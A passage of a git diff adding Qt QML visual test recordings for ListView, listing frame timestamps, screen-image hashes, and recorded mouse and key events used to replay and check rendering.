hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7040 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7056 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7072 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7088 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7104 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7120 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7136 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7152 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7168 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7184 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7200 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7216 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7232 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7248 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7264 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7280 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7296 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 519; y: 276 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7312 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 519; y: 275 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7328 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 519; y: 274 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7344 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 518; y: 273 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 518; y: 272 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7360 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 518; y: 271 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7376 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 518; y: 268 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7392 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 518; y: 266 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 518; y: 265 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7408 + hash: "9047f597b9e59ca652c172338bed6ef9" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 517; y: 262 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7424 + hash: "87476f78daecd6bb49e8d6e673d28100" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 517; y: 260 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7440 + hash: "6bfd895c6b7d97e4102eb26608cdfeca" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 517; y: 254 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7456 + hash: "e4c2b75beaee54a5781a5acbeb37ea64" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 517; y: 249 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7472 + hash: "d5e816768e9c3db0631416bd86b1b461" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 517; y: 243 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7488 + hash: "df6c7252ebb51e7447396b640e1c6ead" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 517; y: 237 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7504 + hash: "5f4db5386dc76b9f2dac47618c733dee" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 517; y: 231 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7520 + hash: "534d1d16d8321996969b54875ec5f1e0" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 517; y: 225 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7536 + hash: "5263016e53327df1972498b55a60c0ed" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 517; y: 219 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7552 + hash: "6787a5a16d2a61643bb1435f6488ada6" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 518; y: 215 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7568 + hash: "1feabcd683590c3d28d899167e6278b3" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 519; y: 208 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7584 + hash: "c0495d6083b2e4ddd2b1dca2f231529c" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 520; y: 202 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7600 + hash: "cb302493a17c1806dfcdf002c44e7acd" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 196 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7616 + hash: "f3822b79b678532ce7f826952636be90" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 189 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7632 + hash: "6e30eed182c38be110ba9c7e95b223be" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 185 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7648 + hash: "9e3ad0331c0c041b9a5747a1d44a43fe" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 177 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7664 + hash: "791e6abf9dae670770c2429ee9f1ad71" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 169 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7680 + image: "listview.7.png" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 160 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7696 + hash: "d3ae366fb8212cb987e23150802c88e3" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 156 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7712 + hash: "b87708e19d7e8b64fe1ab50ec1723975" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 147 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7728 + hash: "512678e45cdd8d48e10b08ee020afe8e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 144 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7744 + hash: "211aa70e813819d476996b3396e9e5a0" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 137 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7760 + hash: "f16eaa360604be84ce61364ad9733b52" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 130 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7776 + hash: "d3af36dfb187d08abe1458f186a935a2" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 124 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7792 + hash: "9d0a0ba1deb7c4a4a8838e5e6a27f2f6" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 122 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7808 + hash: "69aac14f4c137e66724ca33f00a86676" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 116 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7824 + hash: "893d56e2a2ca257fae9f0c6c0629903d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 111 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7840 + hash: "b9f734e57a72e33973740a59776948d9" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 106 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7856 + hash: "e4b0f3f6a6785d7a183e4a36c5803301" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 104 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7872 + hash: "99ee1e8803c05e546a721b0c9ee39499" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 101 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7888 + hash: "96e7da2f895500a786ed36cb295e9003" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 99 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7904 + hash: "cd369fc5dc31814208e56cf7cd0decea" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 97 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7920 + hash: "5fee72994b65a45b4900a3073f86a3e1" + } + Frame { + msec: 7936 + hash: "9a2f8a65d842b8f92998e6411f7cd53c" + } + Frame { + msec: 7952 + hash: "2848d69017ce71ae101ccdfa7c67f933" + } + Frame { + msec: 7968 + hash: "6568aa88e81f988f65da435df7166167" + } + Frame { + msec: 7984 + hash: "d5f15ee08a2d7667786757a378a7a7f4" + } + Frame { + msec: 8000 + hash: "9b566bd02a561b32d1a4c1ec99c2e2c3" + } + Frame { + msec: 8016 + hash: "580419e1c9e91046547d913f6b8790a4" + } + Frame { + msec: 8032 + hash: "a5a3cd610ec0b35af1295ee6c41e09e3" + } + Frame { + msec: 8048 + hash: "a5a3cd610ec0b35af1295ee6c41e09e3" + } + Frame { + msec: 8064 + hash: "a5a3cd610ec0b35af1295ee6c41e09e3" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 521; y: 97 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8080 + hash: "a5a3cd610ec0b35af1295ee6c41e09e3" + } + Frame { + msec: 8096 + hash: "a5a3cd610ec0b35af1295ee6c41e09e3" + } + Frame { + msec: 8112 + hash: "83b91a371d682a501bc3a3fceabe4f8c" + } + Frame { + msec: 8128 + hash: "798b1dbfa0cce362213f426e2c60ac0e" + } + Frame { + msec: 8144 + hash: "d71b6a693c430a618c23413cb65bb320" + } + Frame { + msec: 8160 + hash: "2baae394390da39447a67151bc503d65" + } + Frame { + msec: 8176 + hash: "06688b05c61a7b862d39534207a8adab" + } + Frame { + msec: 8192 + hash: "a1d3042e16709817906dcdc673ee52c7" + } + Frame { + msec: 8208 + hash: "236dd41feac1b1a8a4bd7911bb184da2" + } + Frame { + msec: 8224 + hash: "f3ec821bba1d32e90bdab0e85c07d7d8" + } + Frame { + msec: 8240 + hash: "e328c35adf7ffc3d7e3af97e798ec8a5" + } + Frame { + msec: 8256 + hash: "651101db68fd3ed1dc5f441c126dc31b" + } + Frame { + msec: 8272 + hash: "651101db68fd3ed1dc5f441c126dc31b" + } + Frame { + msec: 8288 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8304 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8320 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8336 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8352 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8368 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8384 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8400 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8416 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8432 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8448 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8464 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8480 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8496 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8512 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8528 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8544 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8560 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8576 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8592 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8608 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8624 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8640 + image: "listview.8.png" + } + Frame { + msec: 8656 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8672 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8688 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8704 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8720 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8736 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8752 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8768 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8784 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8800 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8816 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8832 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8848 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8864 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8880 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8896 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8912 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8928 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8944 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8960 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8976 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8992 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9008 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9024 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9040 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9056 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9072 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9088 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9104 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9120 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9136 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9152 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9168 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9184 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9200 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9216 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9232 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9248 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9264 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9280 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9296 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9312 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9328 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9344 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9360 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9376 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9392 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9408 + hash: "1171be123a361d72859c25434573482c" + } +} diff --git a/tests/auto/declarative/qmlvisual/ListView/data-X11/basic1.qml b/tests/auto/declarative/qmlvisual/ListView/data-X11/basic1.qml new file mode 100644 index 0000000..ae59b14 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/ListView/data-X11/basic1.qml @@ -0,0 +1,159 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 32 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 48 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 64 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 80 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 96 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 112 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 128 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 144 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 160 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 176 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 192 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 208 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 224 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 240 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 256 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 272 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 288 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 304 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 320 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 336 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 352 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 368 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 384 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 400 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 416 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 432 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 448 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 464 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 480 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 496 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 512 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 528 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 544 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 560 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 576 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } +} diff --git a/tests/auto/declarative/qmlvisual/ListView/data-X11/basic2.qml b/tests/auto/declarative/qmlvisual/ListView/data-X11/basic2.qml new file mode 100644 index 0000000..ff19d22 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/ListView/data-X11/basic2.qml @@ -0,0 +1,187 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 32 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 48 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 64 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 80 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 96 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 112 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 128 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 144 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 160 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 176 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 192 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 208 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 224 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 240 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 256 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 272 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 288 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 304 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 320 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 336 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 352 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 368 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 384 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 400 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 416 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 432 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 448 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 464 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 480 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 496 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 512 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 528 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 544 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 560 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 576 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 592 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 608 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 624 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 640 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 656 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 672 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 688 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } +} diff --git a/tests/auto/declarative/qmlvisual/ListView/data-X11/basic3.qml b/tests/auto/declarative/qmlvisual/ListView/data-X11/basic3.qml new file mode 100644 index 0000000..2f33cae --- /dev/null +++ b/tests/auto/declarative/qmlvisual/ListView/data-X11/basic3.qml @@ -0,0 +1,147 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 32 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 48 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 64 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 80 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 96 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 112 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 128 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 144 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 160 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 176 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 192 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 208 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 224 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 240 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 256 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 272 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 288 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 304 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 320 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 336 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 352 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 368 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 384 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 400 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 416 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 432 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 448 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 464 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 480 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 496 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 512 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 528 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } +} diff --git a/tests/auto/declarative/qmlvisual/ListView/data-X11/basic4.qml b/tests/auto/declarative/qmlvisual/ListView/data-X11/basic4.qml new file mode 100644 index 0000000..4b1c5cf --- /dev/null +++ b/tests/auto/declarative/qmlvisual/ListView/data-X11/basic4.qml @@ -0,0 +1,171 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 32 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 48 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 64 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 80 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 96 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 112 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 128 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 144 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 160 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 176 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 192 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 208 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 224 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 240 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 256 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 272 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 288 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 304 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 320 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 336 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 352 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 368 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 384 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 400 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 416 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 432 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 448 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + 